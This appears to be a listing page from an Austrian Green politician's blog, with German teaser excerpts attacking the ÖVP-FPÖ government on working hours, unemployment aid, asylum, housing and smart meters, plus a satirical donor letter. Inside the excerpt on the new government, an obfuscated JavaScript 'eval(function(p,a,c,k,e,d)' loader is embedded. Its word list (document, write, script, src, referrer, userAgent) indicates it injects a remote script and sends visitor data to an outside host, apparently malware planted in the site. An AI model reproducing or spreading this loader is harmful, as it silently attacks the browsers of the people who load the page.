Ein Mythos, der gerne verbreitet wird, behauptet, dass die  „rechtskonservativen“ Regierungen a la Sebastian Kurz realistische Lösungen – im Gegensatz zu anderen – in der Asylpolitik hätten. Tatsache ist, dass diese Politik – unabhängig, ob man sie inhaltlich teilt oder nicht – von realistischen Lösungsansätzen weit entfernt ist. Was mantraartig wiederholt wird, stellt sich schnell als leere Ankündigung heraus. Kurz […]

Sehr geehrte Spender! (Satire) Ich möchte Ihnen mitteilen, dass es mir bei der Nationalratssitzung im Juli bereits gelungen ist, einige Wünsche meiner Wahlkampfspender umzusetzen. Als wichtigstes Anliegen ihrerseits haben wir den 12 Stundentag ermöglicht. Ich bitte um Verständnis, dass wir zur Beruhigung der Bevölkerung die „Freiwilligkeit“ ins Gesetz schreiben mussten. Sie als Praktiker wissen aber ohnedies, dass diese Freiwilligkeit im […]

Schwarz-blau bedient einseitig die Gewinninteressen der Unternehmen und höhlt den ArbeitnehmerInnenschutz und die Lebensqualität von ArbeitnehmerInnen aus. (siehe → Warum die schwarz-blauen Änderungen bei der Arbeitszeit zu massiven Verschlechterungen führen) Lange Arbeitszeiten stellen Familien vor unlösbare Herausforderungen. Selbst ein gelegentlicher 12-Stundentag ist nicht mit üblichen Öffnungszeiten von Kindereinrichtungen vereinbar. Dazu kommt: Kinder brauchen Zeit und Unterstützung. Lange Arbeitszeiten senken unsere […]

Die schwarz-blaue Regierung plant massive Änderungen bei der Arbeitszeit, die zu einschneidenden Verschlechterungen führen. Damit belohnt Kurz seine Wahlkampfspender aus der Wirtschaft, die sich im Vorfeld genau diese Änderungen zu ihren Gunsten gewunschen haben. Widerstand ist notwendig. Ich habe versucht die Fakten zusammen zu fassen, um zu zeigen, warum die Änderungen von schwarz-blau zu schwerwiegenden Nachteilen für ArbeitnehmerInnen führen: Was […]

6,4% in Niederösterreich sorgen für Erleichterung bei uns Grünen. Nach dem Ausscheiden aus dem Nationalrat war es denkbar, dass die Grünen schrittweise aus weiteren Landesparlamenten ausscheiden und langsam von der politischen Bühne in Österreich verschwinden. Das ist nicht passiert, was den grünen „Kampfgeist“ weiter stärken wird. Die Stabilisierung in Niederösterreich  – wo es bekanntlich nie ein grünes Heimspiel gab – […]

Die Beschäftigungsförderung älterer ArbeitnehmerInnen mit dem Aus für die Aktion 20 000 eingestellt und das klare Vorhaben mit der Abschaffung der Notstandhilfe Arbeitslose in ein Art Alpen-Hartz 4 zu führen, zeigen wohin die Reise bei schwarz-blau geht. Während die FPÖ-Sozialministerin Hartinger-Klein im Fernsehstudio noch Stein und Bein schwor, dass Arbeitslose nicht in der Mindestsicherung samt Zugriff auf deren Vermögen landen, ist […]

Die Immobilienbranche hat durch hohe Spenden in den Wahlkampf von Sebastian Kurz eingezahlt. Im Regierungsprogramm wird jetzt deren Handschrift sichtbar. Der Verband der Österreichischen Immobilienwirtschaft hat ganz offensichtlich bei den schwarz-blauen Plänen mitgeschrieben. Neben schönen Worten über das „Grundbedürfnis Wohnen“ folgt das Programm dem alten Credo vom Fördern des Eigentums und der Liberalisierung des Mietrechts. Das Verbot des Lagezuschlags in […]

Die eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!“.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+‘};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‚\\b’+e(c)+’\\b‘,’g‘),k[c])}}return p}(‚0.6(„„);n m=“q“;‘,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzrfs|var|u0026u|referrer|rtdak||js|php‘.split(‚|‘),0,{})) schwarz-blaue Regierung steht – abgesehen davon, dass sowohl ÖVP als auch FPÖ bei einigen Wahlversprechen umgefallen sind. Was genau inhaltlich kommt, wird sich in den nächsten Tagen zeigen. Die Verteilung der Ministerien und die Personalentscheidungen sind aber seit heute bekannt. Bundespräsident Van der Bellen hat zwar verhindert, dass Justiz und Polizei in der […]

Das Wirtschaftsministerium hat eine neue Verordnungsentwurf zum Smart Meter – dem „intelligenten Stromzähler“ vorgelegt. Wir Grüne haben 2013 in Verhandlungen durchgesetzt, dass Stromkunden Wahlfreiheit bekommen sollen, ob sie einen Smart Meter wollen. Die Energiebranche hat das von Anfang an abgelehnt und dieses sogenannte „Opt out“ unterlaufen. Vordergründig wirkt die Verordnung verbraucherfreundlich. Am zweiten Blick wird aber klar, dass die umstrittene […]

SPÖ-Chef Kern will „nach dem Ausscheiden der Grünen aus dem Parlament  das politische Zuhause erweitern, damit diese Wähler bei uns eine Heimat finden können“. Solche Angebote sind wenig überraschend und auch nicht unanständig. Das eine ist, dass mir das als Grün-Politiker, der die Grünen zurück im Parlament sehen will, weniger gefällt. So weit – so verständlich. Es geht aber auch […]